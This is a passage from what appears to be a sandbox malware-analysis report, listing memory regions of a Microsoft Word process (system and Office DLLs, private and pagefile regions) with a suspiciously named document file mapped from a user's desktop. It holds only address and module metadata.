id = 400
start_va = 0x67420000
end_va = 0x675c1fff
monitored = 0
entry_point = 0x67421000
region_type = mapped_file
name = "riched20.dll"
filename = "\\Program Files (x86)\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\OFFICE16\\RICHED20.DLL" (normalized: "c:\\program files (x86)\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\office16\\riched20.dll")
Region:
id = 401
start_va = 0x675d0000
end_va = 0x675d7fff
monitored = 0
entry_point = 0x675d17b0
region_type = mapped_file
name = "version.dll"
filename = "\\Windows\\SysWOW64\\version.dll" (normalized: "c:\\windows\\syswow64\\version.dll")
Region:
id = 402
start_va = 0x675e0000
end_va = 0x67658fff
monitored = 1
entry_point = 0x675ef82a
region_type = mapped_file
name = "mscoreei.dll"
filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscoreei.dll")
Region:
id = 403
start_va = 0x67660000
end_va = 0x676b8fff
monitored = 1
entry_point = 0x67670780
region_type = mapped_file
name = "mscoree.dll"
filename = "\\Windows\\SysWOW64\\mscoree.dll" (normalized: "c:\\windows\\syswow64\\mscoree.dll")
Region:
id = 404
start_va = 0x676c0000
end_va = 0x676d5fff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "usp10.dll"
filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll")
Region:
id = 405
start_va = 0x676e0000
end_va = 0x676e8fff
monitored = 0
entry_point = 0x676e3830
region_type = mapped_file
name = "npmproxy.dll"
filename = "\\Windows\\SysWOW64\\npmproxy.dll" (normalized: "c:\\windows\\syswow64\\npmproxy.dll")
Region:
id = 406
start_va = 0x676f0000
end_va = 0x67723fff
monitored = 0
entry_point = 0x67708280
region_type = mapped_file
name = "netprofm.dll"
filename = "\\Windows\\SysWOW64\\netprofm.dll" (normalized: "c:\\windows\\syswow64\\netprofm.dll")
Region:
id = 407
start_va = 0x67730000
end_va = 0x678a2fff
monitored = 0
entry_point = 0x677dd220
region_type = mapped_file
name = "windowscodecs.dll"
filename = "\\Windows\\SysWOW64\\WindowsCodecs.dll" (normalized: "c:\\windows\\syswow64\\windowscodecs.dll")
Region:
id = 408
start_va = 0x678b0000
end_va = 0x6790bfff
monitored = 0
entry_point = 0x678b8880
region_type = mapped_file
name = "d3d10_1core.dll"
filename = "\\Windows\\SysWOW64\\d3d10_1core.dll" (normalized: "c:\\windows\\syswow64\\d3d10_1core.dll")
Region:
id = 409
start_va = 0x67910000
end_va = 0x6793bfff
monitored = 0
entry_point = 0x679324b0
region_type = mapped_file
name = "d3d10_1.dll"
filename = "\\Windows\\SysWOW64\\d3d10_1.dll" (normalized: "c:\\windows\\syswow64\\d3d10_1.dll")
Region:
id = 410
start_va = 0x67940000
end_va = 0x67a57fff
monitored = 0
entry_point = 0x679440b1
region_type = mapped_file
name = "msptls.dll"
filename = "\\Program Files (x86)\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\OFFICE16\\MSPTLS.DLL" (normalized: "c:\\program files (x86)\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\office16\\msptls.dll")
Region:
id = 411
start_va = 0x67a60000
end_va = 0x67aa3fff
monitored = 0
entry_point = 0x67a7aaf0
region_type = mapped_file
name = "winsta.dll"
filename = "\\Windows\\SysWOW64\\winsta.dll" (normalized: "c:\\windows\\syswow64\\winsta.dll")
Region:
id = 412
start_va = 0x67ab0000
end_va = 0x67e38fff
monitored = 0
entry_point = 0x67b4cc60
region_type = mapped_file
name = "msi.dll"
filename = "\\Windows\\SysWOW64\\msi.dll" (normalized: "c:\\windows\\syswow64\\msi.dll")
Region:
id = 413
start_va = 0x67e40000
end_va = 0x68bf1fff
monitored = 0
entry_point = 0x67e41000
region_type = mapped_file
name = "mso.dll"
filename = "\\Program Files (x86)\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\OFFICE16\\MSO.DLL" (normalized: "c:\\program files (x86)\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\office16\\mso.dll")
Region:
id = 414
start_va = 0x68c00000
end_va = 0x68c1cfff
monitored = 0
entry_point = 0x68c07240
region_type = mapped_file
name = "sppc.dll"
filename = "\\Windows\\SysWOW64\\sppc.dll" (normalized: "c:\\windows\\syswow64\\sppc.dll")
Region:
id = 415
start_va = 0x68c20000
end_va = 0x691b7fff
monitored = 0
entry_point = 0x68c21000
region_type = mapped_file
name = "mso99lwin32client.dll"
filename = "\\Program Files (x86)\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\OFFICE16\\Mso99Lwin32client.dll" (normalized: "c:\\program files (x86)\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\office16\\mso99lwin32client.dll")
Region:
id = 416
start_va = 0x691c0000
end_va = 0x698d4fff
monitored = 0
entry_point = 0x691c1000
region_type = mapped_file
name = "mso40uiwin32client.dll"
filename = "\\Program Files (x86)\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\OFFICE16\\Mso40UIwin32client.dll" (normalized: "c:\\program files (x86)\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\office16\\mso40uiwin32client.dll")
Region:
id = 417
start_va = 0x698e0000
end_va = 0x69be1fff
monitored = 0
entry_point = 0x698e1000
region_type = mapped_file
name = "mso30win32client.dll"
filename = "\\Program Files (x86)\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\OFFICE16\\Mso30win32client.dll" (normalized: "c:\\program files (x86)\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\office16\\mso30win32client.dll")
Region:
id = 418
start_va = 0x69bf0000
end_va = 0x69dc4fff
monitored = 0
entry_point = 0x69bf1000
region_type = mapped_file
name = "mso20win32client.dll"
filename = "\\Program Files (x86)\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\OFFICE16\\Mso20win32client.dll" (normalized: "c:\\program files (x86)\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\office16\\mso20win32client.dll")
Region:
id = 419
start_va = 0x69dd0000
end_va = 0x6a9c1fff
monitored = 0
entry_point = 0x69dd1000
region_type = mapped_file
name = "oart.dll"
filename = "\\Program Files (x86)\\Microsoft Office\\root\\Office16\\OART.DLL" (normalized: "c:\\program files (x86)\\microsoft office\\root\\office16\\oart.dll")
Region:
id = 420
start_va = 0x6a9d0000
end_va = 0x6ab3afff
monitored = 0
entry_point = 0x6aa3e360
region_type = mapped_file
name = "gdiplus.dll"
filename = "\\Windows\\WinSxS\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.10586.0_none_538a540779726150\\GdiPlus.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.10586.0_none_538a540779726150\\gdiplus.dll")
Region:
id = 421
start_va = 0x6ab40000
end_va = 0x6c7a1fff
monitored = 0
entry_point = 0x6ab41000
region_type = mapped_file
name = "wwlib.dll"
filename = "\\Program Files (x86)\\Microsoft Office\\root\\Office16\\WWLIB.DLL" (normalized: "c:\\program files (x86)\\microsoft office\\root\\office16\\wwlib.dll")
Region:
id = 422
start_va = 0x6c7b0000
end_va = 0x6c87afff
monitored = 0
entry_point = 0x6c7c6a2b
region_type = mapped_file
name = "c2r32.dll"
filename = "\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r32.dll")
Region:
id = 423
start_va = 0x6c880000
end_va = 0x6c8e4fff
monitored = 0
entry_point = 0x6c89fa6c
region_type = mapped_file
name = "appvisvstream32.dll"
filename = "\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream32.dll")
Region:
id = 424
start_va = 0x6c8f0000
end_va = 0x6c9d0fff
monitored = 0
entry_point = 0x6c91e6b0
region_type = mapped_file
name = "ucrtbase.dll"
filename = "\\Windows\\SysWOW64\\ucrtbase.dll" (normalized: "c:\\windows\\syswow64\\ucrtbase.dll")
Region:
id = 425
start_va = 0x6c9e0000
end_va = 0x6cb94fff
monitored = 0
entry_point = 0x6cad3d5a
region_type = mapped_file
name = "appvisvsubsystems32.dll"
filename = "\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems32.dll")
Region:
id = 426
start_va = 0x6cba0000
end_va = 0x6cbd2fff
monitored = 0
entry_point = 0x6cbb0e70
region_type = mapped_file
name = "mlang.dll"
filename = "\\Windows\\SysWOW64\\mlang.dll" (normalized: "c:\\windows\\syswow64\\mlang.dll")
Region:
id = 427
start_va = 0x6cbe0000
end_va = 0x6cbe9fff
monitored = 0
entry_point = 0x6cbe3200
region_type = mapped_file
name = "secur32.dll"
filename = "\\Windows\\SysWOW64\\secur32.dll" (normalized: "c:\\windows\\syswow64\\secur32.dll")
Region:
id = 428
start_va = 0x6cd30000
end_va = 0x6cf47fff
monitored = 0
entry_point = 0x6cdd97b0
region_type = mapped_file
name = "d3d10warp.dll"
filename = "\\Windows\\SysWOW64\\d3d10warp.dll" (normalized: "c:\\windows\\syswow64\\d3d10warp.dll")
Region:
id = 429
start_va = 0x6d330000
end_va = 0x6d33efff
monitored = 0
entry_point = 0x6d332a50
region_type = mapped_file
name = "wtsapi32.dll"
filename = "\\Windows\\SysWOW64\\wtsapi32.dll" (normalized: "c:\\windows\\syswow64\\wtsapi32.dll")
Region:
id = 430
start_va = 0x6d340000
end_va = 0x6d3acfff
monitored = 0
entry_point = 0x6d37ab20
region_type = mapped_file
name = "msvcp140.dll"
filename = "\\Program Files (x86)\\Microsoft Office\\root\\Office16\\msvcp140.dll" (normalized: "c:\\program files (x86)\\microsoft office\\root\\office16\\msvcp140.dll")
Region:
id = 431
start_va = 0x6d3b0000
end_va = 0x6d456fff
monitored = 0
entry_point = 0x6d3e6240
region_type = mapped_file
name = "dcomp.dll"
filename = "\\Windows\\SysWOW64\\dcomp.dll" (normalized: "c:\\windows\\syswow64\\dcomp.dll")
Region:
id = 432
start_va = 0x6d460000
end_va = 0x6d650fff
monitored = 0
entry_point = 0x6d543cd0
region_type = mapped_file
name = "dwrite.dll"
filename = "\\Windows\\SysWOW64\\DWrite.dll" (normalized: "c:\\windows\\syswow64\\dwrite.dll")
Region:
id = 433
start_va = 0x6d660000
end_va = 0x6daedfff
monitored = 0
entry_point = 0x6d9ea320
region_type = mapped_file
name = "d2d1.dll"
filename = "\\Windows\\SysWOW64\\d2d1.dll" (normalized: "c:\\windows\\syswow64\\d2d1.dll")
Region:
id = 434
start_va = 0x6f000000
end_va = 0x6f20efff
monitored = 0
entry_point = 0x6f0ab0a0
region_type = mapped_file
name = "comctl32.dll"
filename = "\\Windows\\WinSxS\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.10586.0_none_d3c2e4e965da4528\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.10586.0_none_d3c2e4e965da4528\\comctl32.dll")
Region:
id = 435
start_va = 0x6fff0000
end_va = 0x6fffffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000000006fff0000"
filename = ""
Region:
id = 436
start_va = 0x70010000
end_va = 0x70015fff
monitored = 0
entry_point = 0x70011490
region_type = mapped_file
name = "msimg32.dll"
filename = "\\Windows\\SysWOW64\\msimg32.dll" (normalized: "c:\\windows\\syswow64\\msimg32.dll")
Region:
id = 437
start_va = 0x70020000
end_va = 0x70034fff
monitored = 0
entry_point = 0x7002b1a0
region_type = mapped_file
name = "vcruntime140.dll"
filename = "\\Program Files (x86)\\Microsoft Office\\root\\Office16\\vcruntime140.dll" (normalized: "c:\\program files (x86)\\microsoft office\\root\\office16\\vcruntime140.dll")
Region:
id = 438
start_va = 0x70040000
end_va = 0x7006cfff
monitored = 0
entry_point = 0x70052b00
region_type = mapped_file
name = "xmllite.dll"
filename = "\\Windows\\SysWOW64\\xmllite.dll" (normalized: "c:\\windows\\syswow64\\xmllite.dll")
Region:
id = 439
start_va = 0x701d0000
end_va = 0x701ecfff
monitored = 0
entry_point = 0x701d3b10
region_type = mapped_file
name = "dwmapi.dll"
filename = "\\Windows\\SysWOW64\\dwmapi.dll" (normalized: "c:\\windows\\syswow64\\dwmapi.dll")
Region:
id = 440
start_va = 0x704a0000
end_va = 0x704cefff
monitored = 0
entry_point = 0x704b95e0
region_type = mapped_file
name = "rsaenh.dll"
filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll")
Region:
id = 441
start_va = 0x704d0000
end_va = 0x704e2fff
monitored = 0
entry_point = 0x704d9950
region_type = mapped_file
name = "cryptsp.dll"
filename = "\\Windows\\SysWOW64\\cryptsp.dll" (normalized: "c:\\windows\\syswow64\\cryptsp.dll")
Region:
id = 442
start_va = 0x706b0000
end_va = 0x706c8fff
monitored = 0
entry_point = 0x706b47e0
region_type = mapped_file
name = "userenv.dll"
filename = "\\Windows\\SysWOW64\\userenv.dll" (normalized: "c:\\windows\\syswow64\\userenv.dll")
Region:
id = 443
start_va = 0x706d0000
end_va = 0x70744fff
monitored = 0
entry_point = 0x70709a60
region_type = mapped_file
name = "uxtheme.dll"
filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll")
Region:
id = 444
start_va = 0x70bc0000
end_va = 0x70daefff
monitored = 0
entry_point = 0x70c05e20
region_type = mapped_file
name = "msxml6.dll"
filename = "\\Windows\\SysWOW64\\msxml6.dll" (normalized: "c:\\windows\\syswow64\\msxml6.dll")
Region:
id = 445
start_va = 0x71d10000
end_va = 0x71d61fff
monitored = 0
entry_point = 0x71d38290
region_type = mapped_file
name = "bcp47langs.dll"
filename = "\\Windows\\SysWOW64\\BCP47Langs.dll" (normalized: "c:\\windows\\syswow64\\bcp47langs.dll")
Region:
id = 446
start_va = 0x71d70000
end_va = 0x71ea1fff
monitored = 0
entry_point = 0x71ddbf60
region_type = mapped_file
name = "windows.globalization.dll"
filename = "\\Windows\\SysWOW64\\Windows.Globalization.dll" (normalized: "c:\\windows\\syswow64\\windows.globalization.dll")
Region:
id = 447
start_va = 0x72520000
end_va = 0x725a2fff
monitored = 0
entry_point = 0x725437c0
region_type = mapped_file
name = "dxgi.dll"
filename = "\\Windows\\SysWOW64\\dxgi.dll" (normalized: "c:\\windows\\syswow64\\dxgi.dll")
Region:
id = 448
start_va = 0x725b0000
end_va = 0x726fafff
monitored = 0
entry_point = 0x72611660
region_type = mapped_file
name = "propsys.dll"
filename = "\\Windows\\SysWOW64\\propsys.dll" (normalized: "c:\\windows\\syswow64\\propsys.dll")
Region:
id = 449
start_va = 0x72760000
end_va = 0x72979fff
monitored = 0
entry_point = 0x727f5550
region_type = mapped_file
name = "d3d11.dll"
filename = "\\Windows\\SysWOW64\\d3d11.dll" (normalized: "c:\\windows\\syswow64\\d3d11.dll")
Region:
id = 450
start_va = 0x742c0000
end_va = 0x742dafff
monitored = 0
entry_point = 0x742c9050
region_type = mapped_file
name = "bcrypt.dll"
filename = "\\Windows\\SysWOW64\\bcrypt.dll" (normalized: "c:\\windows\\syswow64\\bcrypt.dll")
Region:
id = 451
start_va = 0x742e0000
end_va = 0x743acfff
monitored = 0
entry_point = 0x743329c0
region_type = mapped_file
name = "twinapi.appcore.dll"
filename = "\\Windows\\SysWOW64\\twinapi.appcore.dll" (normalized: "c:\\windows\\syswow64\\twinapi.appcore.dll")
Region:
id = 452
start_va = 0x74610000
end_va = 0x74619fff
monitored = 0
entry_point = 0x74612a00
region_type = mapped_file
name = "cryptbase.dll"
filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll")
Region:
id = 453
start_va = 0x74620000
end_va = 0x7463dfff
monitored = 0
entry_point = 0x7462b640
region_type = mapped_file
name = "sspicli.dll"
filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll")
Region:
id = 454
start_va = 0x74650000
end_va = 0x7472ffff
monitored = 0
entry_point = 0x74663980
region_type = mapped_file
name = "kernel32.dll"
filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll")
Region:
id = 455
start_va = 0x74730000
end_va = 0x74787fff
monitored = 0
entry_point = 0x747725c0
region_type = mapped_file
name = "bcryptprimitives.dll"
filename = "\\Windows\\SysWOW64\\bcryptprimitives.dll" (normalized: "c:\\windows\\syswow64\\bcryptprimitives.dll")
Region:
id = 456
start_va = 0x74790000
end_va = 0x748d6fff
monitored = 0
entry_point = 0x747a1cf0
region_type = mapped_file
name = "user32.dll"
filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll")
Region:
id = 457
start_va = 0x748e0000
end_va = 0x7496cfff
monitored = 0
entry_point = 0x74929b90
region_type = mapped_file
name = "shcore.dll"
filename = "\\Windows\\SysWOW64\\SHCore.dll" (normalized: "c:\\windows\\syswow64\\shcore.dll")
Region:
id = 458
start_va = 0x74970000
end_va = 0x749c9fff
monitored = 0
entry_point = 0x74997e70
region_type = mapped_file
name = "coml2.dll"
filename = "\\Windows\\SysWOW64\\coml2.dll" (normalized: "c:\\windows\\syswow64\\coml2.dll")
Region:
id = 459
start_va = 0x74b50000
end_va = 0x74bfcfff
monitored = 0
entry_point = 0x74b64f00
region_type = mapped_file
name = "rpcrt4.dll"
filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll")
Region:
id = 460
start_va = 0x74c60000
end_va = 0x75158fff
monitored = 0
entry_point = 0x74e67610
region_type = mapped_file
name = "windows.storage.dll"
filename = "\\Windows\\SysWOW64\\windows.storage.dll" (normalized: "c:\\windows\\syswow64\\windows.storage.dll")
Region:
id = 461
start_va = 0x75160000
end_va = 0x7524afff
monitored = 0
entry_point = 0x7519d650
region_type = mapped_file
name = "ole32.dll"
filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll")
Region:
id = 462
start_va = 0x75300000
end_va = 0x75336fff
monitored = 0
entry_point = 0x75303b50
region_type = mapped_file
name = "cfgmgr32.dll"
filename = "\\Windows\\SysWOW64\\cfgmgr32.dll" (normalized: "c:\\windows\\syswow64\\cfgmgr32.dll")
Region:
id = 463
start_va = 0x754b0000
end_va = 0x7566cfff
monitored = 0
entry_point = 0x75592a10
region_type = mapped_file
name = "combase.dll"
filename = "\\Windows\\SysWOW64\\combase.dll" (normalized: "c:\\windows\\syswow64\\combase.dll")
Region:
id = 464
start_va = 0x75680000
end_va = 0x7573dfff
monitored = 0
entry_point = 0x756b5630
region_type = mapped_file
name = "msvcrt.dll"
filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll")
Region:
id = 465
start_va = 0x75740000
end_va = 0x75783fff
monitored = 0
entry_point = 0x75759d80
region_type = mapped_file
name = "sechost.dll"
filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll")
Region:
id = 466
start_va = 0x75790000
end_va = 0x757d4fff
monitored = 0
entry_point = 0x757ade90
region_type = mapped_file
name = "shlwapi.dll"
filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll")
Region:
id = 467
start_va = 0x757e0000
end_va = 0x757ebfff
monitored = 0
entry_point = 0x757e3930
region_type = mapped_file
name = "kernel.appcore.dll"
filename = "\\Windows\\SysWOW64\\kernel.appcore.dll" (normalized: "c:\\windows\\syswow64\\kernel.appcore.dll")
Region:
id = 468
start_va = 0x757f0000
end_va = 0x757fefff
monitored = 0
entry_point = 0x757f2e40
region_type = mapped_file
name = "profapi.dll"
filename = "\\Windows\\SysWOW64\\profapi.dll" (normalized: "c:\\windows\\syswow64\\profapi.dll")
Region:
id = 469
start_va = 0x75860000
end_va = 0x758e3fff
monitored = 0
entry_point = 0x75886220
region_type = mapped_file
name = "clbcatq.dll"
filename = "\\Windows\\SysWOW64\\clbcatq.dll" (normalized: "c:\\windows\\syswow64\\clbcatq.dll")
Region:
id = 470
start_va = 0x758f0000
end_va = 0x75a3efff
monitored = 0
entry_point = 0x759a6820
region_type = mapped_file
name = "gdi32.dll"
filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll")
Region:
id = 471
start_va = 0x75e50000
end_va = 0x75e7afff
monitored = 0
entry_point = 0x75e55680
region_type = mapped_file
name = "imm32.dll"
filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll")
Region:
id = 472
start_va = 0x75e80000
end_va = 0x75ffdfff
monitored = 0
entry_point = 0x75f31b90
region_type = mapped_file
name = "kernelbase.dll"
filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll")
Region:
id = 473
start_va = 0x76030000
end_va = 0x7614efff
monitored = 0
entry_point = 0x76075980
region_type = mapped_file
name = "msctf.dll"
filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll")
Region:
id = 474
start_va = 0x76150000
end_va = 0x761e1fff
monitored = 0
entry_point = 0x76188cf0
region_type = mapped_file
name = "oleaut32.dll"
filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll")
Region:
id = 475
start_va = 0x761f0000
end_va = 0x7624efff
monitored = 0
entry_point = 0x761f4af0
region_type = mapped_file
name = "ws2_32.dll"
filename = "\\Windows\\SysWOW64\\ws2_32.dll" (normalized: "c:\\windows\\syswow64\\ws2_32.dll")
Region:
id = 476
start_va = 0x76370000
end_va = 0x7776efff
monitored = 0
entry_point = 0x7652b990
region_type = mapped_file
name = "shell32.dll"
filename = "\\Windows\\SysWOW64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll")
Region:
id = 477
start_va = 0x77770000
end_va = 0x777b3fff
monitored = 0
entry_point = 0x77777410
region_type = mapped_file
name = "powrprof.dll"
filename = "\\Windows\\SysWOW64\\powrprof.dll" (normalized: "c:\\windows\\syswow64\\powrprof.dll")
Region:
id = 478
start_va = 0x77820000
end_va = 0x7789afff
monitored = 0
entry_point = 0x7783e970
region_type = mapped_file
name = "advapi32.dll"
filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll")
Region:
id = 479
start_va = 0x778f0000
end_va = 0x77a6afff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "ntdll.dll"
filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll")
Region:
id = 480
start_va = 0x7fe90000
end_va = 0x7fe9ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000000007fe90000"
filename = ""
Region:
id = 481
start_va = 0x7fea0000
end_va = 0x7feaffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000000007fea0000"
filename = ""
Region:
id = 482
start_va = 0x7feb0000
end_va = 0x7ffaffff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000007feb0000"
filename = ""
Region:
id = 483
start_va = 0x7ffb0000
end_va = 0x7ffd2fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000007ffb0000"
filename = ""
Region:
id = 484
start_va = 0x7ffe0000
end_va = 0x7ffeffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000000007ffe0000"
filename = ""
Region:
id = 485
start_va = 0x7fff0000
end_va = 0x7ffb28afffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000000007fff0000"
filename = ""
Region:
id = 486
start_va = 0x7ffb28b00000
end_va = 0x7ffb28cc0fff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "ntdll.dll"
filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll")
Region:
id = 487
start_va = 0x7ffb28cc1000
end_va = 0x7ffffffeffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00007ffb28cc1000"
filename = ""
Region:
id = 488
start_va = 0x1140000
end_va = 0x1140fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000001140000"
filename = ""
Region:
id = 489
start_va = 0x70a40000
end_va = 0x70bbdfff
monitored = 0
entry_point = 0x70abc630
region_type = mapped_file
name = "urlmon.dll"
filename = "\\Windows\\SysWOW64\\urlmon.dll" (normalized: "c:\\windows\\syswow64\\urlmon.dll")
Region:
id = 490
start_va = 0x72180000
end_va = 0x7244afff
monitored = 0
entry_point = 0x723bc4c0
region_type = mapped_file
name = "iertutil.dll"
filename = "\\Windows\\SysWOW64\\iertutil.dll" (normalized: "c:\\windows\\syswow64\\iertutil.dll")
Region:
id = 491
start_va = 0x1140000
end_va = 0x1140fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000001140000"
filename = ""
Region:
id = 492
start_va = 0xf500000
end_va = 0xf8fffff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000000f500000"
filename = ""
Region:
id = 493
start_va = 0x8520000
end_va = 0x859ffff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "charge_12.01.2021.doce0f8977cde6361f1d59b5ccc400c41772db0205f7c5doc1f1d59b5ccc400c41772db0205f7c5doc"
filename = "\\Users\\RDhJ0CNFevzX\\Desktop\\charge_12.01.2021.doce0f8977cde6361f1d59b5ccc400c41772db0205f7c5doc1f1d59b5ccc400c41772db0205f7c5doc" (normalized: "c:\\users\\rdhj0cnfevzx\\desktop\\charge_12.01.2021.doce0f8977cde6361f1d59b5ccc400c41772db0205f7c5doc1f1d59b5ccc400c41772db0205f7c5doc")
Region:
id = 494
start_va = 0x66aa0000
end_va = 0x66aa9fff
monitored = 0
entry_point = 0x66aa2a34
region_type = mapped_file
name = "wordcnvpxy.cnv"
filename = "\\Program Files (x86)\\Microsoft Office\\root\\Office16\\Wordcnvpxy.cnv" (normalized: "c:\\program files (x86)\\microsoft office\\root\\office16\\wordcnvpxy.cnv")
Region:
id = 495
start_va = 0x66aa0000
end_va = 0x66aa9fff
monitored = 0
entry_point = 0x66aa2a34
region_type = mapped_file
name = "wordcnvpxy.cnv"
filename = "\\Program Files (x86)\\Microsoft Office\\root\\Office16\\Wordcnvpxy.cnv" (normalized: "c:\\program files (x86)\\microsoft office\\root\\office16\\wordcnvpxy.cnv")
Region:
id = 496
start_va = 0x66aa0000
end_va = 0x66aabfff
monitored = 0
entry_point = 0x66aa28fd
region_type = mapped_file
name = "recovr32.cnv"
filename = "\\Program Files (x86)\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\TEXTCONV\\RECOVR32.CNV" (normalized: "c:\\program files (x86)\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\textconv\\recovr32.cnv")
Region:
id = 497
start_va = 0x66a80000
end_va = 0x66a9ffff
monitored = 0
entry_point = 0x66a8c7d4
region_type = mapped_file
name = "msconv97.dll"
filename = "\\Program Files (x86)\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\TEXTCONV\\MSCONV97.DLL" (normalized: "c:\\program files (x86)\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\textconv\\msconv97.dll")
Region:
id = 498
start_va = 0x66a70000
end_va = 0x66aa1fff
monitored = 0
entry_point = 0x66a8c742
region_type = mapped_file
name = "wpft532.cnv"
filename = "\\Program Files (x86)\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\TEXTCONV\\WPFT532.CNV" (normalized: "c:\\program files (x86)\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\textconv\\wpft532.cnv")
Region:
id = 499
start_va = 0x66a50000
end_va = 0x66a6ffff
monitored = 0
entry_point = 0x66a5c7d4
region_type = mapped_file
name = "msconv97.dll"
filename = "\\Program Files (x86)\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\TEXTCONV\\MSCONV97.DLL" (normalized: "c:\\program files (x86)\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\textconv\\msconv97.dll")
Region:
id = 500
start_va = 0x66a70000
end_va = 0x66aaefff
monitored = 0
entry_point = 0x66a94c50
region_type = mapped_file
name = "wpft632.cnv"
filename = "\\Program Files (x86)\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\TEXTCONV\\WPFT632.CNV" (normalized: "c:\\program files (x86)\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\textconv\\wpft632.cnv")
Region:
id = 501
start_va = 0x66a50000
end_va = 0x66a6ffff
monitored = 0
entry_point = 0x66a5c7d4
region_type = mapped_file
name = "msconv97.dll"
filename = "\\Program Files (x86)\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\TEXTCONV\\MSCONV97.DLL" (normalized: "c:\\program files (x86)\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\textconv\\msconv97.dll")
Region:
id = 502
start_va = 0x66a70000
end_va = 0x66aa1fff
monitored = 0
